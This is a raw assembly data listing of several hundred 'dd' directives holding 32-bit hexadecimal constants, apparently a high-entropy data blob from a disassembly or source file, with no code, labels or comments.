dd 0F5291209h, 842EDE1h, 67C5775Eh, 0DD96E989h, 51165146h dd 17BE8608h, 0FDC7BB25h, 0F6E9D170h, 4B0EB215h, 0C0D5FE28h dd 68B080ACh, 0FFC4404Ch, 0CCBB481Eh, 42BFFA46h, 544CD513h dd 29176818h, 827A3133h, 71105160h, 3FB47C82h, 0C961B72Dh dd 2954E209h, 5907F3C0h, 0AC6F4BC7h, 0F90C0113h, 0CCE9DF66h dd 2A80FC7Ch, 4A070E44h, 2F0C58B8h, 0FD4D473Fh, 0C84101F2h dd 0D731EC18h, 4FDFEC5Ah, 3FF8FAA0h, 0D69D6D2Fh, 9FFD2086h dd 602D7754h, 9F517CCDh, 20322620h, 0E4A03766h, 149FFAB0h dd 9D38F818h, 2F55310Bh, 6182934Ah, 9612A256h, 416B56B6h dd 2808B80Ch, 8EB2832h, 0E0ECE927h, 0B3F18874h, 905FA5D2h dd 0B5D07D37h, 66931C7Bh, 83A846EFh, 15B744BCh, 5753165Bh dd 94C1341h, 147F4D7Ch, 0E6D4957Ah, 5E26E970h, 354D27A4h dd 8EB8F9E3h, 0AC4F102Ah, 2D963666h, 0C76815C8h, 38483666h dd 5206AC1Fh, 5304FA17h, 0BA0FAFB8h, 961B5F22h, 559EC255h dd 704EC9C2h, 22EF4925h, 0ACEB3DA8h, 0BD40FCC6h, 0BDEA6A58h dd 0FC884E12h, 0DC98400h, 0FF29047Fh, 8042131h, 0E31EFDE4h dd 12A5CC2Fh, 0E543F16h, 902F08B8h, 0B5BB3EFDh, 0F195B84Eh dd 0E54D6271h, 9308E908h, 977C2D3Ch, 44078720h, 477C7313h dd 0F1E0D7F5h, 0D1D912F7h, 383458E1h, 55825B3Fh, 6B015E61h dd 81071035h, 0F40191Bh, 9F3EB368h, 22B1E3D1h, 7730DB29h dd 424F407Dh, 0A217C0B8h, 0AF176267h, 2E5EF504h, 74048CEEh dd 843FF341h, 9FBCEA43h, 0EB4F5B3Bh, 0CBE92902h, 59BFC949h dd 78B7B42Bh, 0A7546858h, 0FE306292h, 0BF45D25Eh, 19F87E25h dd 395B8358h, 3BC196B4h, 5200E83Ah, 7219ABBAh, 0B77E6BA6h dd 90D747Fh, 0ABD4EEAEh, 7F7CC09Eh, 845A0548h, 4138675h dd 402EFB1Ah, 3543B6EDh, 3FF5EC25h, 9B048D05h, 0FB5DEA31h dd 0B499F914h, 1E697DE6h, 0CCCF5155h, 5C416A78h, 1EF2AD7Bh dd 79960CEFh, 0A1E6D0ABh, 354C1B68h, 0AB620595h, 44AEAE75h dd 0EA27FB29h, 0AC9C8B24h, 129095C7h, 909F4970h, 1812F593h dd 0E4035F35h, 0A052DF0h, 861CE92Ch, 6F008AEAh, 0A054E551h dd 28BCF553h, 152FC066h, 81AC6828h, 5077D6B7h, 6425E9EBh dd 47DDD92Eh, 0F22D8896h, 6A1D27D0h, 0DF88E3D3h, 2007288Dh dd 80071C91h, 0D98816EBh, 1213C7A3h, 0FF1B2C14h, 0F6D54260h dd 0BA8069D1h, 662C2850h, 0D5274453h, 30B44B14h, 0FEF7B760h dd 12F658CFh, 14804610h, 4F98C529h, 58EC00EBh, 0EC3B6E05h dd 97FAA8CEh, 0F2EB1652h, 1ED7D071h, 75277A4Ah, 0FA5BD2CEh dd 3166B503h, 78E2C2CAh, 0AD8F5F3Fh, 0B850C5E2h, 0EAF057ABh dd 2C58C0C3h, 69CED042h, 9F09507Fh, 744B4965h, 0F191C2DFh dd 414BBE00h, 7C147AC0h, 9D589AABh, 7C20D60h, 0F4C3EC9Fh dd 0A93FE387h, 0C71017E9h, 46336FD0h, 0F7530388h, 0EE814EDEh dd 39F320B0h, 30DF12D0h, 45BA2CBFh, 0B723D43h, 0A5162924h dd 2DC6CF77h, 0D409AE96h, 0D47D9321h, 3E400599h, 2618BB18h dd 60A2A12h, 4BE944D3h, 449F78BAh, 47F304FCh, 0CC139356h dd 0BF55E9E9h, 2BB060FEh, 6A694314h, 78960EC8h, 0DA31452Ah dd 6B10E0A6h, 0FF5D27E3h, 6825CA9Ch, 61FD7E05h, 2AB89FE9h dd 0E955337h, 226A254h, 18862C4Ah, 0B3105D58h, 0D99F4995h dd 27506AD8h, 0E9BB4055h, 39A9E2Ch, 481AB866h, 2B5EAAA4h dd 0FAEF585Eh, 72EA319Eh, 31BFBF1h, 7176AF01h, 0F744B787h dd 32C04C4Ah, 1EC83540h, 0CC55FC76h, 0EBAFDA5Ah, 40BEF19h dd 172FE6C4h, 435CBBBDh, 7083DE2Fh, 0C44EE3E9h, 307878F2h dd 0C651D46Fh, 263D3D62h, 0C8DAAC10h, 0F594D5ADh, 0CEBD187Dh dd 0A813F6EDh, 1C8AB3F3h, 0C403E3C0h, 85F606EBh, 0FE02EFB8h dd 0B0DD3070h, 97EE28E2h, 5C206322h, 96F307Eh, 1608F9C8h dd 0CDC98DB8h, 0A9982BE0h, 0AD93417Bh, 0C10E741Ah, 602E62F1h dd 0B0BE72Ch, 0D5177809h, 5F76CE8h, 1094AE0h, 0D69539E9h dd 54A150BCh, 35386797h, 0C2A0E2CAh, 0F92EE468h, 37D7888Ah dd 4D7DBB04h, 0CB818A80h, 871B1E25h, 0FCB20973h, 0D1312A98h dd 0F45A79F4h, 7EB37B5h, 0C2800606h, 43F232ABh, 0F6480757h dd 582C043Ch, 0F820BC26h, 0A628893Bh, 5D8320FDh, 34FD7F7h dd 56E165EEh, 0FAFC018Ah, 55555462h, 659D07ECh, 0C4CD93A3h dd 3020C033h, 58024A7Ch, 0FB47E035h, 368B5719h, 5EF37703h dd 0A613EEDDh, 0C14920EFh, 8F3C0CB6h, 52D11F55h, 4AECAF3Fh dd 0A5B8404Eh, 5F15003Dh, 72E4B12Dh, 332EE91Ch, 46F7151h dd 0D4A24653h, 0F6815E00h, 9319A016h, 0F154014Ah, 0E6B92062h dd 0B2511E23h, 8628B32h dd 27F3029h, 5F2AC107h, 0B94AC173h, 0FF1EAB04h, 0CDEC10Bh dd 52EED8B5h, 1972C18h, 0C459CA2Fh, 6DE91425h, 0E24ACCB7h dd 0F3679EB5h, 0D7E0C313h, 95C57F02h, 6030CA60h, 2D72493Dh dd 0E97CC038h, 8B7CF78Eh, 0ABDE0F39h, 0EF947FB6h, 8095D5F8h dd 45DEBD95h, 68531331h, 3788BBB5h, 0FD1B4AE9h, 49B626B7h dd 1A08CE13h, 0AD5A2DDDh, 137F420h, 8B0DD0F7h, 0F038E45Bh dd 18C73E16h, 0E8A00ABFh, 0C10EBD10h, 0E9FD310Bh, 82C42B5Ch dd 96C9A9BAh, 63C0CA84h, 0E0A0206h, 72E68177h, 0AF040724h dd 1C6F71E8h, 48C12DFEh, 0FECD32h, 281570EDh, 9933F6Fh dd 0A0175ECAh, 54380F7h, 0E98769CCh, 0B2D8042h, 116F6875h dd 0B2A5B970h, 37D99CC2h, 0B4080D88h, 7895AA20h, 0F3755C04h dd 0D87AD98Dh, 90410E05h, 0BF5D2A20h, 4E08D3CDh, 18B00125h dd 7A17C380h, 3CB15EC0h, 8E93DC0h, 288BF1BDh, 0D1859CBh dd 7BBD3115h, 9D82208Bh, 82218855h, 99687525h, 0FE5AF05Ah dd 2A7AF8A3h, 0B7E0DB48h, 0E6CDFAE0h, 312FF816h, 2950450Dh dd 0A88FA50h, 6103F659h, 626848B5h, 26C5332Ch, 0EB1F9154h dd 2DEA5F7Fh, 10A23EE6h, 95FA45Ah, 7FBD8B97h, 680A431Dh dd 72085F9Bh, 8D5F1F2Bh, 7B765BDFh, 0AE4BCDBCh, 0B0A8FFC4h dd 5D3FF150h, 0CD003FC3h, 30DBE581h, 93A07492h, 0A3A2EFF9h dd 0A5207252h, 91BE0447h, 0C06FF420h, 0D50B242Eh, 190C1D60h dd 0BA6D312Eh, 6142AA9h, 5BDA25F4h, 825B51CCh, 9AF0FC5h dd 6985790h, 0C695DD39h, 268125Ah, 21C26115h, 8122AFDCh dd 0ED922AF7h, 0A8F280E2h, 8358D108h, 4F0C5AA8h, 0D4DA016Fh dd 291C6D08h, 8D02E32Fh, 0F07FB796h, 577B0545h, 0F92C7E25h dd 16688487h, 5BE3AA5Dh, 0BBE88385h, 93843FA3h, 0BE71497h dd 82BF1CA6h, 5D83FC90h, 0F9F76D92h, 0D1756935h, 5BDDE26Ah dd 3B129892h, 0B9787089h, 0A352502Eh, 2840E025h, 5B6605DEh dd 0CD5AF388h, 6327303Bh, 0E315881h, 1A1DEE2Bh, 7FA37767h dd 23165775h, 0A0FCC801h, 0C7CBEAF5h, 4F909B10h, 21A164ACh dd 0AFC6EF0h, 6BE8C1A1h, 366E3DE1h, 0D6970D56h, 307552A2h dd 82C5652Fh, 28191E40h, 20DBD34Ch, 0C1CAF536h, 78282E79h dd 54686604h, 75B4EF2Ch, 5889BF39h, 0E971A8FEh, 20B9DECEh dd 199A26EAh, 753DC28Ch, 0C146137Fh, 2C9FBEB3h, 9F2500B9h dd 0DF1810Fh, 334F1975h, 0DB0137FDh, 0E96CAD62h, 0E6853ABEh dd 9290E2BFh, 38A714ACh, 42CD5125h, 0E37E4DE9h, 2C0EE399h dd 59B0BB00h, 0FD9E297Fh, 0E28C511Fh, 2DD8B354h, 9A57E42Ch dd 540FDA5h, 0D34E88C8h, 6928DB8h, 63B63E6Eh, 0BA20C677h dd 2B20B82h, 83F5D530h, 8734EB1Bh, 0A63AC43Ah, 9B03E159h dd 0FF03E1C0h, 0E702933Fh, 0FDC9FE06h, 0D7673E50h, 0CB04ED38h dd 498A2CEEh, 16B90B95h, 68590B4Ah, 5C301A22h, 55822FFEh dd 0D6CB0FF3h, 0D8858BD8h, 7DA5B8FCh, 4E20F81Eh, 0B2F5EB97h dd 60FA773Eh, 0BB6BD9EEh, 1388614Dh, 20D1B8D0h, 328FFC5Ch dd 2AA68B2Ch, 0E8B5BD03h, 0B9D6F88Eh, 0B1A727ABh, 3B8C249h dd 446BCED6h, 0BA520383h, 71A77992h, 0BB9AE00h, 76E915BCh dd 5B34CB42h, 4E4AEED7h, 8294B2A4h, 0F91C9668h, 87D56BD1h dd 84124738h, 2A9EF422h, 410EA5Fh, 89B38567h, 3FD2C2CAh dd 847A9974h, 37AE46B5h, 402391BDh, 81AA3035h, 0F21F534h dd 7DA38C82h, 17D47B18h, 2D451301h, 3FEB556Dh, 1420B371h dd 0EA4AF403h, 48FC36A3h, 0BA25E012h, 0BB30F505h, 659CEB81h dd 0B9354AFh, 0D44EF88Eh, 54B4D69Fh, 0E0D4E927h, 1222B937h dd 0A8778C78h, 0E281805Eh, 5CBF5DEAh, 0DF2C111Dh, 0ADD0A521h dd 669FB0FAh, 0B1CB2001h, 1BD8DDFAh, 5C63B2A8h, 1D10CFE8h dd 0DA881D53h, 1957A2D2h, 720716A9h, 0D548CE1Ah, 115EC07h dd 7495BF57h, 0EA2B5061h, 0FBDC6720h, 1EB34E1Bh, 0FFFBF4ACh dd 0F381DCC0h, 0EE86138Ch, 5B76099Fh, 10CEFB7Fh, 14FDD21Ch dd 64AB901h, 0A5BDBE0Dh, 0A142780Bh, 0F37B50A4h, 0D5977A9Ch dd 36A46A5h, 6CBBF573h, 0EF895D90h, 165AF96h, 0E094C5AEh dd 6E27686Dh, 0EBB2985Eh, 0FB30373h, 0D3F7DF87h, 0E781080Fh dd 0B4BFFF5h, 2AF852h, 369F291Ch, 0D8574DBEh, 12E9AC0Bh dd 261544DBh, 89F7BF59h, 0D97FAEB7h, 0C95B1FD6h, 0F690F013h dd 0C4BFE531h, 5C85BD9Bh, 8931FCD9h, 8DC50055h, 3A4C930Dh dd 5C9343BDh, 0ED4F8CEh, 3607DB05h, 4EE10B06h, 0DA082C4Ah dd 0E28005C7h, 304581A2h, 1C076D7Ch, 0EA166AB5h, 5A51CAEEh dd 0E0200CF1h, 200B4160h, 8F94CEAEh, 0B0743528h, 4DEFE78h dd 0F7507997h, 0EA4076CEh, 3E1D00B8h, 0F4BB37D7h, 674F4587h dd 0A940A3BCh, 0ADCB0681h, 100FE820h, 344B4348h, 20C07F01h dd 5DDB6808h, 0C0109F5Bh, 0A9B92EEFh, 31AD962h, 0DAB9F101h dd 7CE3F87h, 9095EA4Bh, 40E02B01h, 0E26E3F41h, 950200B9h dd 20E90CAAh, 21C8C9CCh, 50C35B23h, 89D0AFD0h, 4861F582h dd 17A83A01h, 3B4265ADh, 162F2AEFh, 0F461EF23h, 0EF052F75h dd 544214C8h, 0F7CEEA31h, 9E9EB37Eh, 0E090E9C9h, 4BC5805Fh dd 7D31B015h, 4C3CDF41h, 27BB65Bh, 635436C1h, 9858D523h dd 2C5B0881h, 3C94B70Ch, 0D37059ACh, 0F8330674h, 2D5E1232h dd 91E863A5h, 50769DCAh, 9A84F7E5h, 80EB6AD5h, 8105EAB1h dd 3113F6E6h, 0D5F0FDDBh, 29D94022h, 8BFCFA4Bh, 50844B1h dd 13A40ABFh, 3FF17BFCh, 581C870Eh, 6982D821h, 23B4B126h dd 0CD68BB85h, 214D8D1Fh, 8EF6D209h, 5173660h, 0E0C1251Dh dd 0E905E6F4h, 0CCFE7EB4h, 0EF54FD41h, 675CB1B4h, 80CF046Dh dd 608261EAh, 0F15E0419h, 0CD2C7B1Dh, 5A094091h, 0C190ECB0h dd 5C1DB690h, 296E9F42h, 0C1AE324h, 3866834Bh, 124816Dh dd 0D8FDC312h, 0A0C390E2h, 970D11E0h, 525FE1Eh, 0BD3B7D2Dh dd 0ADC646ACh, 0EE76BDCEh, 0A3485D71h, 4FD2440Ah, 0D59231Ch dd 0E6AB93BDh, 0E4F9E289h, 5C19E622h, 7AD71BC0h, 0B5A0309h dd 0B81AE3Fh, 0E87410C1h, 0A732463h, 0C8EF0212h, 4377A744h dd 68D3097Ch, 0DF74548Eh, 0BC70DC2h, 48CDEC5Fh, 0A64F3842h dd 41E05F1Dh, 670A3AE0h, 163CC1CAh, 6BA6202Eh, 75CC664Bh dd 0F9C74A93h, 91E8A540h, 0A49D298Ah, 9FC20EBDh, 45AD107h dd 0B5E3FFC8h, 3BE5E982h, 76F1A2A2h, 0BBD9B5Dh, 82A8E9ACh dd 3C23DC90h, 7C255E48h, 0A44918FAh, 2DF01296h, 0FA3056BAh dd 9FBCC721h, 9E84CC6Bh, 6A270916h, 40472700h, 0CC214D74h dd 0BC4E81A2h, 9E48F0Bh, 0D5E9B2CAh, 0E60851ADh, 8092E084h dd 0D3369A5Fh, 5CDC2748h, 0AE12A49Ah, 1DEF0FBh, 24E97440h dd 0BB94BB82h, 0C68A5427h, 80DB0197h, 96203CF2h, 7F09F68Eh dd 2720F6C9h, 0EBC7C60Eh, 0A1098439h, 7CE33FA4h, 0ED445CA2h dd 76952C70h, 45DFCB27h, 85A1C8D5h, 0EA9D703Ah, 51EADD20h dd 1DA52F5Eh, 883DC52h, 0E9170C41h, 37227FB9h, 8C088D1h dd 203CA80h, 0BF0C8B5Ah, 84E969E5h, 968817F6h, 20830CEBh dd 4A5A764Dh, 21185C18h, 275E4344h, 0FA586B89h, 3BB2B0C0h dd 59E9E898h, 7D580E8Ah, 0A8A5EF92h, 9E597530h, 0E7E95036h dd 79A4774Bh, 0EF2BBD05h, 0C36484D1h, 55EEB0BBh, 1D6BBD1Ch dd 0D0BC0916h, 0AAD20196h, 0BF1A7A3Ah, 0CC39090Ch, 0D74E85CAh dd 5419CED1h, 38F6317Eh, 0F0AB050Ch, 501F95A3h, 0AE4B84B4h dd 0AD58DC5Fh, 47FCEA6Ch dd 1C4BDF4Bh, 0A1347502h, 6394E92Fh, 3F62D75Dh, 17626C2Eh dd 97067C5Ch, 0EA4584D5h, 0E98521B9h, 79A8A8E3h, 0AF70027Bh dd 74D4F050h, 5C5F0980h, 7027FE1Ch, 27591761h, 0E9C4DF3Fh dd 0B2EE80B6h, 5A0BD6F8h, 0BF9A7597h, 2DECFB7Dh, 0E9852971h dd 0F7A81C71h, 8494A9E4h, 81009C05h, 0FC64D6E7h, 0F73B4176h dd 2CDC3B88h, 7D72CD31h, 84C537C8h, 45B17209h, 82F5D801h dd 0D18F4108h, 3BE0892Eh, 8E10EDB2h, 8F8A5FAAh, 0CC3B5D7Eh dd 96EA881Ch, 0BCB617D7h, 39BA4F1Fh, 165FBC2Ah, 0CBBA5E60h dd 4AB84C8Ch, 0E26ECEE1h, 0BC2DA4D6h, 36B18B38h, 0F8EB0432h dd 97D73907h, 4D2C97C6h, 3BD0BF88h, 0CA778627h, 80F47470h dd 68DD1EE6h, 5A00D009h, 463B0548h, 0B0406B82h, 90753ED8h dd 6CC1FBCBh, 0C779D695h, 3005D43Ch, 0AB4D4547h, 2F1C8906h dd 0FB2FFFFFh, 5F0C7E1Ah, 0B9268AF4h, 21DD9A42h, 0C1893DC3h dd 88F52EEEh, 1235F1FDh, 8081843Eh, 0A90A782Fh, 92125h dd 1438E394h, 681F2E2Eh, 0A5D8296Fh, 0DC30E66h, 284C80E9h dd 78935C6Eh, 15CE3201h, 0AC0B70Ch, 0FF82DA75h, 0D4BDD452h dd 782E3F7Bh, 0FBB8817Fh, 207E5838h, 88509390h, 5E137874h dd 0BB926B5h, 0BA410841h, 8A6BB1F0h, 0D3CD1BDBh, 0FA6AB191h dd 0A993443Ah, 850EB9DBh, 0D1B8E770h, 9CC704F4h, 4001FD1Bh dd 0C9407AF0h, 7C915CB6h, 225CDB27h, 6BFBEE60h, 4E7D7EBBh dd 15B0942h, 0C28655CAh, 0F70114B6h, 525192D8h, 0AF2E5A59h dd 0D0ABB824h, 426EF5CFh, 930353Eh, 0D9FEAF68h, 0FF804BEAh dd 1FA06850h, 584EA718h, 65E4E95Ah, 21CEB79Ch, 6D97168Ah dd 97833E53h, 20EA1005h, 377A94DBh, 794B0F25h, 0A2004B24h dd 1E66C23Fh, 95B3E910h, 7AB76809h, 51A8B0FFh, 90DFF857h dd 0F4305FA1h, 0C5FE930h, 0E2EF9EC5h, 13FC112Bh, 64A871A1h dd 6F16E416h, 25D74DF3h, 4D490DEEh, 0E27F15FDh, 2277D11h dd 0C1AF13DAh, 0F86E812Fh, 5DF38043h, 741AC53h, 0DF790105h dd 15455072h, 2D045B7Ch, 5F9F57A4h, 7411DF8h, 6E568F40h dd 0E924E7CCh, 0E0C4B7EAh, 7DBB5E25h, 0EBCA5E13h, 0D49DB070h dd 0C2EADA80h, 0E27F250Bh, 72065776h, 0E817651h, 6EECEA89h dd 8A66814h, 5E9D0BDh, 421E5A62h, 7195E601h, 0C52E7FA6h dd 3CA7BE6Dh, 0CE8C10Fh, 47D1C849h, 8AC7654Bh, 0EACAC9Eh dd 0E0517B8h, 9E35F302h, 50CAB0E7h, 892330E9h, 727CBB82h dd 0C4A340EEh, 246103D0h, 0F89742B5h, 92B1E836h, 39C14898h dd 5245AB4Ah, 0CEAE1FCAh, 12A65D07h, 0AC52E029h, 0A7507691h dd 8105E801h, 712A292Dh, 0C60FCF7h, 53161326h, 0F19F0050h dd 692585D5h, 9D20AF90h, 0DB2B266Ch, 12AB05DFh, 7201BF90h dd 0BD895833h, 740B08F0h, 0ACC00706h, 0A010E5DCh, 28EE53F0h dd 958B6B06h, 6252D7Dh, 0A3A4F6E8h, 0B5201850h, 1EDE8116h dd 46E28E81h, 307CFFC2h, 7301B88Dh, 85891C1Ah, 458C1B11h dd 0F19B4C3h, 1FD38F6Eh, 78E4FB09h, 4D85F8D8h, 0E91886AAh dd 901D230Ah, 5A6D0E01h, 0C927042Ah, 5906CCh, 3CBCB7EAh dd 0ACBD918h, 0F9C55307h, 0B8B0E92Eh, 1FD7DE3Eh, 4960CFh dd 0BEF36E85h, 0E15C42BDh, 532200AEh, 0A56DF929h, 304A72Ah dd 0E02FD201h, 809E8689h, 74BF0518h, 0BE68A4h, 0A56FDFCFh dd 0B3D12BC1h, 5EE02C00h, 6FA14C7h, 298A641Bh, 0CEF1210Bh dd 0E3105212h, 8F78989h, 66CC448Ah, 8887FA84h, 4280D813h dd 65CB072Eh, 0C064C2E3h, 9D9304D5h, 0CC294C00h, 1E6ABC98h dd 0A4BD00CAh, 0C18680A0h, 8F00DD0Dh, 63CE7E11h, 1D9596ACh dd 40D6B877h, 2FEEC1D5h, 1E00DA6Ch, 0B1CE541Fh, 32DF475h dd 3C7A6AAh, 51D01017h, 0E400D18Eh, 0ACAB4071h, 305E1DF4h dd 0EE560B67h, 7300767Ah, 0B8B20E72h, 38EFFC7Bh, 0EC0791D2h dd 0C183741Ah, 0C409275Eh, 0EAF04F75h, 0CC246F00h, 7DACDE2Fh dd 4DC400B3h, 0FA011C67h, 1400C9E6h, 78C62AA6h, 8AD60Eh dd 60C65E0h, 0E469C48Dh, 6BCFEB00h, 3B26FD0Bh, 0D0E700E2h dd 20F67194h, 1E0F51D5h, 0E12DB7h, 0A443CD50h, 0A5FC0023h dd 3F48DAE5h, 0DE09C241h, 12BEF62h, 0EC470B00h, 7B9770h dd 0D6F5D736h, 4A0FB8A4h, 0C96BEF01h, 0A9DD1875h, 94F8FCh dd 0C40B0A5Ah, 385BBA2Ah, 0A64D2400h, 6F96970h, 3FD2766Ch dd 0C30EF379h, 3C60541Ah, 0A2B97B11h, 33F5FC00h, 229B4155h dd 0FA940021h, 87CB8A69h, 29001DBEh, 0C9D6AA25h, 3B77B90Eh dd 42009027h, 0E3891B6Eh, 7C00C119h, 63F3C633h, 7FA9A0F8h dd 0A1F90F78h, 544E4E2Eh, 29D20621h, 3391D8B4h, 0CE945Ch dd 247CF8AAh, 786A79h, 0B03AAFA5h, 5A63FC0Ch, 42C5C914h dd 0B13BEFh, 18281FECh, 0A4492Fh, 1FA9262h, 52B7CB51h dd 89FB58h, 83CEE759h, 240D321Dh, 39A4694Dh, 3EB42880h dd 2BC3A2B6h, 7DF4E000h, 59416E55h, 0D5BB501Ah, 0DD5039F1h dd 877BE980h, 77EB179Eh, 2885CD00h, 5CB97A2Dh, 33B30F70h dd 835D5972h, 0CA5BDB3Ch, 0FDCEB798h, 0D53F1C05h, 8D832D8Ch dd 0E33DF2BDh, 0B59AD84Fh, 49940C5Fh, 0FC4A259Fh, 0EF4ED49h dd 7EE9C65Dh, 0DE0F7464h, 0C520A598h, 0BFF2D000h, 0ECB597h dd 2E70F84Eh, 4622597Bh, 3E7F0207h, 52102CA8h, 72CF12C6h dd 0C2960066h, 3A93E387h, 0B41FC94Dh, 6380FC8Fh, 900B1365h dd 0E969009Ah, 35B6F748h, 30008D5h, 34F2A56Eh, 3D9DDD3Fh dd 0FF8E1CD6h, 51402719h, 44243987h, 0B1529000h, 58FC3473h dd 0B4EA2Fh, 5EC23331h, 69AF05A6h, 0D5889200h, 946409AAh dd 287B009Eh, 0E1BCB510h, 0B01F14Ah, 0A7D1D6F3h, 40DA0990h dd 602A8463h, 0D86810E5h, 0A00E9A6Dh, 5E345A7Ch, 1D503AC5h dd 0DAC2C740h, 0F8D7797Dh, 2FD7C18h, 27B72133h, 0A8802C63h dd 8C88E2EFh, 42189B00h, 2089D853h, 0A8ECEC25h, 0E41AECh dd 1C519478h, 0AF1E470Eh, 8157F18h, 0B131FEh, 1D54354Ah dd 2DE78B02h, 9F9C20FFh, 3C27B621h, 3AC95D0Ah, 0BD9280C4h dd 0B9DA3DE0h, 0B8402A00h, 0EC8E1847h, 0F5E90023h, 0BD61CC7Fh dd 2900016Eh, 24844819h, 0C003A030h, 566A0D40h, 8B007404h dd 0FDAB9C9Eh, 288FCB3h, 0D9B66E2Ah, 10404C6Dh, 0E2FEC8EEh dd 5C665660h, 90FB1DECh, 0E0585024h, 7C2101E9h, 0AE835FF4h dd 0DE1630CEh, 6A5D270Bh, 3823068Dh, 0BB10048h, 0B5E5EE3Eh dd 0F2C17B43h, 4A63CDF7h, 99D8FC25h, 95E50033h, 0E66C1AEEh dd 5300FBB1h, 0CB73C28Fh, 42B68Eh, 6F5C4E7h, 54584F03h dd 665A3809h, 2CB380C6h, 1CED1426h, 70DB04D4h, 97BCD70h dd 0E616F107h, 0FE0B211Ah, 8C1300DAh, 0E2670FD1h, 0AE7A8409h dd 9D328223h, 3AAC40FEh, 0FA340078h, 445CA97Fh, 552481FBh dd 5200F06Bh, 61DF1529h, 4D9F00B9h, 54846819h, 5103101Ch dd 90874C45h, 4286A0F7h, 5633AA3h, 14AC9Fh, 0E0EB0338h dd 0CC00E22Bh, 0D4B9CDE8h, 0B211A7h, 18041B65h, 7AFB205Eh dd 316E2201h, 3B3A1DB8h, 689F80CFh, 50980196h, 670C92D5h dd 7374E4D1h, 0ACF3D400h, 49CD1456h, 7C41023Dh, 2D40B534h dd 169B5440h, 0D6513C00h, 4427468Bh, 887401E5h, 7C3F199Fh dd 0D83C34D9h, 81A8451Eh, 0D3FB04C0h, 4BCA1Ah, 961D5609h dd 0D60B1880h, 40827B00h, 935BF434h, 54441D2Ah, 0E68A4324h dd 63E0493Ah, 9B1876CAh, 82791A9Ah, 0AB4B0221h, 250A59AEh dd 91E1A460h, 7F0EEF70h dd 4032CAB5h, 2C7AA11Bh, 4637001Ah, 0D0201D0Ah, 2E639B28h dd 3D79C7C8h, 0AA81F3FEh, 0E84311BAh, 2374D46Ch, 0E2F6B002h dd 0E3EDA08Ch, 0E67EB8A0h, 4D270557h, 8094A716h, 2DCD1250h dd 0E03AE503h, 35E60Fh, 0FF8E67C8h, 66B8B963h, 979AC300h dd 91B53FD4h, 0BBDC00FAh, 0B95F15BFh, 6500F33Ah, 0A76D3F4h dd 20BEC4Bh, 0B2C756D8h, 784003BCh, 0A900DA4Dh, 339D3EE2h dd 3EA0905h, 0E5EC28CFh, 2AF9868Fh, 0A27C6099h, 7258B698h dd 1AC5013h, 9701F09Ah, 1DDAF17Eh, 7CC8E223h, 5166002Ch dd 41DB5543h, 39F8D9BDh, 115EB007h, 9100D3A9h, 1C8ADh dd 7A8363D1h, 0AE1B0343h, 67195D13h, 0B8D07024h, 1CF977E9h dd 0F385C1Ah, 9E0974Ah, 40F128B0h, 0D5831103h, 886E394Fh dd 7747A94h, 0B2D7B7A0h, 0C09BD42Ah, 965302CCh, 3B23DB0Bh dd 76508060h, 0E8C56h, 0BCD32711h, 0C9FEC0A3h, 28474C00h dd 0E176D466h, 0C5370026h, 317A96B3h, 800F3BEh, 0CBA45B61h dd 783FD12h, 591446A6h, 10AF47E8h, 0F7E0B43Eh, 44649700h dd 0AB8B8ABEh, 0E4B81D19h, 0C5A44013h, 77F01A78h, 2598F800h dd 1B3BEE26h, 0E1230075h, 0E8683E70h, 3600BC93h, 2A4F7457h dd 142E62Fh, 0F7D55529h, 0ECA8BA34h, 3B01DEF9h, 0B2770CC3h dd 91ECA2D6h, 3547CABh, 4D81C640h, 0F488D09Ah, 590052F9h dd 0A9C01D0Fh, 9320B5Fh, 0A7499EEAh, 9784A780h, 0B90018FBh dd 2BA83053h, 21E3B0Bh, 34DD9CB4h, 0C8A05B77h, 0DA4638D0h dd 0DE760900h, 10D542Fh, 62580043h, 0A7EF2206h, 1600FE59h dd 3A0BF41Dh, 40B9D2h, 0F71E50F0h, 91DB2146h, 9C681124h dd 229E0201h, 332741h, 80853AE8h, 1F557FF0h, 3500A483h dd 27AFCAA7h, 70954Fh, 5ED15234h, 0C92A8B7Eh, 3B960600h dd 6BB55D36h, 1393001Ch, 5695044Fh, 73AD3B3h, 86A7048Eh dd 18C1D64Dh, 0F6FC80FEh, 0B6C602B1h, 18485028h, 91D9F8E0h dd 0A7290B0Ch, 0F41A1019h, 0D7BC304Ch, 21413838h, 75007D75h dd 49B18719h, 0A040B2A2h, 1CD546AEh, 40BC18DCh, 42BE172Bh dd 123CEB8Fh, 329600CBh, 15DD81D8h, 0DA600AFh, 0EE610B23h dd 0C21E68D0h, 0D200F7A8h, 3CCC9A9Eh, 2E2902CFh, 776034C1h dd 2153CC0h, 0B8856501h, 0AA96D856h, 0D4792980h, 51982DCh dd 4EA3321Eh, 0E85BFA80h, 1CEE703Eh, 0C0312458h, 0B52A035Dh dd 4B029B20h, 3FDFA805h, 7A79E083h, 3DEA9Fh, 793238A2h dd 48B0CE37h, 92D9D00h, 0EA02C251h, 2C17623h, 0D635ACE8h dd 0E88E8A42h, 5A0B7000h, 3B004BECh, 0B30E57CFh, 508648h dd 1655C88Bh, 8EDA0C2Bh, 59890200h, 5BC66307h, 0F93E00E7h dd 61732DC4h, 0B7008E6Fh, 0BA19ED36h, 53A8D3h, 7C6DA75Dh dd 15FA2038h, 0CC80E2F9h, 47358339h, 0DA11F16Ah, 8AC2B800h dd 0AF87A0h, 0A2FB13Dh, 68A70EB2h, 93E9EC1Ch, 29F42DC0h dd 4FB822h, 11520D5Fh, 967594AAh, 0FC900600h, 42A30FFEh dd 60570037h, 0CB7F3FFFh, 0C0083EFh, 0E62CB997h, 16983146h dd 0F40ADA0h, 0DB4FBF50h, 545DD8E0h, 0F438307Fh, 8DEB00D2h dd 0C04466EAh, 88D50FA7h, 29A428ADh, 0A3A9C0A6h, 5200CB1Ah dd 148CF80Fh, 3CC5E43Ah, 0BA027275h, 0C4F1E26Ch, 0D8B42060h dd 8AD9A100h, 0A3E39440h, 0ED0600AFh, 0DEA2158h, 5903A502h dd 55394886h, 1B8EE46h, 0A885F1ADh, 30BFD701h, 8801FBC8h dd 0C28A171h, 0E3DC59D4h, 0A28E00B8h, 0FDDC368Ah, 651CF6A3h dd 0EEC011C5h, 8E02F152h, 461A00CEh, 79332FD6h, 1C003D72h dd 447F3188h, 3F12B383h, 68870B30h, 70ABA62Ah, 57785262h dd 0EE206600h, 0E1C1AC34h, 95E050h, 521D8EC6h, 4336E709h dd 3CC4A600h, 9CC888ABh, 0A484CC3h, 7254D003h, 0F5A02451h dd 0E500A6E0h, 92AF330h, 0CE0B04h, 0F91D67BCh, 23771A53h dd 3A45D07h, 2ADA663h, 0A18430h, 103CB16Fh, 6C8A71BCh dd 